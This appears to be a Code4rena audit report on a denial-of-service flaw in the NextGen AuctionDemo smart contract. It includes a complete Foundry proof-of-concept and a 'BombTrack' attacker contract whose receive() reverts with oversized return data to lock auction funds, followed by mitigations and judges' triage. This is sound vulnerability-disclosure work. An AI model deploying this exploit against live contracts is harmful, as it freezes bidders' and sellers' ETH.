Auction cannot be claimed and ETH stuck in contract

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134

Vulnerability details

Bug Description

claimAuction() in AuctionDemo.sol returns ETH to losing bidders within a for loop and via a low-level call. If the for loop can be forced to revert by running out of gas then the winner won't recieve their NFT, the owner of the token being auctioned won't receive their high bid and losing bidders won't have their bids returned.

cancelAllBids() is also vulnerable to the same attack technique but I've decided to focus on claimAuction() as it has a higher impact.

The claimAuction() function in AuctionDemo.sol lines 104-120;

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Lines 112 (safesTransferFrom), 113 and 116 (low-level calls) all interact (yield) execution to an external EOA or contract.

The losing bidders are repaid on line 116 however the low-level ETH call does not limit the amount of returned data. Even though bool success is defined the low-level call will still return an array of bytes from the contract being called (the attacker's contract).

(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

An attack contract could be used with a receive() function such as the example below, returning an incredibly large byte array that the contract would need to expand in memory causing a revert - memory limit out of gas.

    receive() payable external {
        assembly{
            revert(0, 10000000)
        }
    }

Impact

Any revert of the for loop in claimAuction() (or cancelAllBids()) will break the auction and repayment functionality. No token or ETH payments will be made and the ETH will be stuck in the contract if losing bidders don't cancel individual bids before the end of the auction.

The attacker can submit some small transactions at the start of the auction, minimising their cost of the attack (bid + gas) and cause any auction to fail and funds would be stuck in the contract.

AuctionDemo.sol has no way for an administrator to withdraw the ETH within the contract. Any call to claimAuction(), cancelBid() or cancelAllBids() will fail. The auction will have ended and claimAuction() is DOS'd.

Proof of Concept

The code below includes a test test_ReturnBomb() that leverages an attack contract BombTrack.

Execute the test with the following command after installing and configuring foundry;

forge test --match-test test_ReturnBomb -vvvvv --via-ir --gas-limit 30000000 --gas-report

test_ReturnBomb() performs the following actions to prove the concept;

1. The attacker creates a BombTrack attack contract to place multiple bids early in the auction.
2. address(100) places a legitimate bid of 10ETH.
3. address(101) places a legitimate bid of 11ETH.
4. address(101) calls claimAuction() transferring execution to the attacker's receive() function.
5. The attacker's receive() returns a large byte array and the transaction reverts out-of-gas.
6. No ETH is paid and is stuck in the contract as no bidders have cancelled their bids before the end of the auction.

The output of the forge test looks like this;

    │   ├─ [85] BombTrack::receive()
    │   │   └─ ← "EvmError: MemoryLimitOOG"
    │   ├─ emit Refund(_add: BombTrack: [0x8fA079a96cE08F6E8A53c1C00566c434b248BFC4], tokenid: 10000000000 [1e10], status: false, funds: 11000000000000000000 [1.1e19])
    │   ├─ [85] BombTrack::receive()
    │   │   └─ ← "EvmError: MemoryLimitOOG"
    │   ├─ emit Refund(_add: BombTrack: [0x8fA079a96cE08F6E8A53c1C00566c434b248BFC4], tokenid: 10000000000 [1e10], status: false, funds: 11000000000000000000 [1.1e19])
    │   └─ ← "EvmError: OutOfGas"

Place this in a file like BombTrack.t.sol;

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "./smart-contracts/NextgenCore.sol";
import "./smart-contracts/NextgenAdmins.sol";
import "./smart-contracts/RandomizerRNG.sol";
import "./smart-contracts/RandomizerNXT.sol";
import "./smart-contracts/XRandoms.sol";
import "./smart-contracts/MinterContract.sol";
import "./smart-contracts/AuctionDemo.sol";
import "./smart-contracts/IERC721Receiver.sol";
import "./smart-contracts/NFTdelegation.sol";
import "murky/src/Merkle.sol";
import "./smart-contracts/MerkleProof.sol";

contract AuctionTest is Test {
    NextGenAdmins admins;
    NextGenCore core;
    NextGenRandomizerRNG _randomizerContract;
    NextGenRandomizerNXT nxt;
    randomPool xrandoms; 
    NextGenMinterContract minter;
    DelegationManagementContract registry; 
    auctionDemo auction;

    uint256 reenterCount = 0;
    bytes32[] the_proof;


    function setUp() public {
        admins = new NextGenAdmins();
        core = new NextGenCore("Nextgen", "NEXT", address(admins));
        // Check we are the owner.
        assertEq(admins.owner(), address(this));
        assertEq(core.newCollectionIndex(), 1);

        string memory _collectionName = "Generic collection name";
        string memory _collectionArtist = "Generic artist name";
        string memory _collectionDescription = "Generic artist description";
        string memory _collectionWebsite = "Generic website address";
        string memory _collectionLicense = "";
        string memory _collectionBaseURI = "ipfs://ipfs";
        string memory _collectionLibrary = "";
        string[] memory _collectionScript = new string[](1);
        _collectionScript[0] = "";

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );
        assertEq(core.newCollectionIndex(), 3);

        uint256 _collectionID = 1;
        address _collectionArtistAddress = address(uint160(uint256(keccak256("ayc"))));
        uint256 _collectionTotalSupply = 10_000;
        uint256 _maxCollectionPurchases = 1_000;
        uint256 _setFinalSupplyTimeAfterMint = 100;

        core.setCollectionData(
            _collectionID,
            _collectionArtistAddress,
            _maxCollectionPurchases,
            _collectionTotalSupply,
            _setFinalSupplyTimeAfterMint
        );

        // Minter pre-requisites.
        registry = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(registry), address(admins));
        core.addMinterContract(address(minter));

        // Add randomizer details
        // ARNController should be 0x000000000000f968845afB0B8Cf134Ec196D38D4 on Goerli
        address ARNController = 0x000000000000f968845afB0B8Cf134Ec196D38D4;
        _randomizerContract = new NextGenRandomizerRNG(address(core), address(admins), ARNController);
        _randomizerContract.updateRNGCost(2000000000000000);
        xrandoms = new randomPool();
        nxt = new NextGenRandomizerNXT(address(xrandoms), address(admins), address(core));
        vm.deal(address(_randomizerContract), 1 ether);

        //core.addRandomizer(1, address(_randomizerContract));
        core.addRandomizer(1, address(nxt));

        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Collection costs
        //uint256 _collectionID = 1;
        uint256 _collectionMintCost =  6.029 * 10**16;
        uint256 _collectionEndMintCost = 6.029 * 10**16; 
        uint256 _rate = 0;
        uint256 _timePeriod = 600; 
        uint8 _salesOption = 3; 
        address _delAddress = address(core);
        minter.setCollectionCosts(_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, _timePeriod, _salesOption, _delAddress);

        //uint256 _collectionID = 1; 
        uint timeStamp = block.timestamp;
        uint _allowlistStartTime = timeStamp + 1000; 
        uint _allowlistEndTime = timeStamp + 2000; 
        uint _publicStartTime = timeStamp + 3000; 
        uint _publicEndTime = timeStamp + 4000;
        bytes32 _merkleRoot;
        minter.setCollectionPhases(_collectionID, _allowlistStartTime, _allowlistEndTime, _publicStartTime, _publicEndTime, _merkleRoot);
    }

function test_ReturnBomb() public {
        // (bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft()*4/5, 150, abi.encodeWithSelector(

        address _recipient = address(this);
        string memory _tokenData = "";
        uint256 _saltfun_o = 0;
        uint256 _collectionID = 1;
        uint256 _auctionEndTime = block.timestamp + 2000;
        uint256 tokenId = 10000000000;

        vm.warp(block.timestamp + 1200);
        minter.mintAndAuction(_recipient, _tokenData, _saltfun_o, _collectionID, _auctionEndTime);
        assertEq(core.ownerOf(tokenId), address(this));

        vm.deal(address(100), 100 ether);
        vm.deal(address(101), 100 ether);
        vm.deal(address(69), 1 ether);

        vm.startPrank(address(69));
        BombTrack bt = new BombTrack(address(auction));
        bt.bid{value: 0.1 ether}(0.1 ether, tokenId);
        bt.bid{value: 0.2 ether}(0.2 ether, tokenId);
        vm.stopPrank();


        vm.startPrank(address(100));
        auction.participateToAuction{value: 10 ether}(tokenId);
        vm.stopPrank();

        vm.startPrank(address(101));
        auction.participateToAuction{value: 11 ether}(tokenId);
        vm.stopPrank(); 

        // Needs explicit approve
        core.approve(address(auction), tokenId);

        vm.warp(block.timestamp + 2001);
        vm.startPrank(address(101));
        auction.claimAuction(tokenId);
        vm.stopPrank();
    } 

    contract BombTrack {
        address owner;
        auctionDemo _auction;
        uint256 _tokenId;
        uint256 _bid;
        auctionDemo.auctionInfoStru[] auctionBids;
        bool reenter;

        constructor(address auction) {
            owner = msg.sender;
            _auction = auctionDemo(auction);
        }

        function bid(uint256 amount, uint256 tokenid) payable public onlyOwner {
            _tokenId = tokenid;
            _auction.participateToAuction{value: amount}(_tokenId);
        }

        receive() payable external {
            assembly{
                revert(0, 10000000)
            }
        }

        modifier onlyOwner() {
            require(owner == msg.sender, "Not the owner YO!");
            _;
        }
    }
}

Tools Used

Vim

Recommended Mitigation Steps

The protocol can either;

1. Convert ETH to WETH and only handle WETH within the contract. In this way the protocol could maintain the for loop and transfer WETH rather than ETH to the auction token holder and the losing bidders.
2. The protocol could move to a pull model (rather than push) and require losing bidders and the auction token holder to rectrieve their ETH (or WETH if option 1 is used) with a function similar to cancelBid() but for retrieving funds after the winner and auction token hold has been paid.
3. Maintain the current approach but use excessivelySafeCall from the ExcessivleySafeCall library and limit the return data the protocol is willing to accept.

Personally I would advocate a move to WETH throughout AuctionDemo.sol. The protocol can convert ETH to WETH within participateToAuction() and then return it in a for loop or for more safety use a pull model to return WETH.

Assessed type

call/delegatecall

[c4-pre-sort]

141345 marked the issue as duplicate of #1632

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)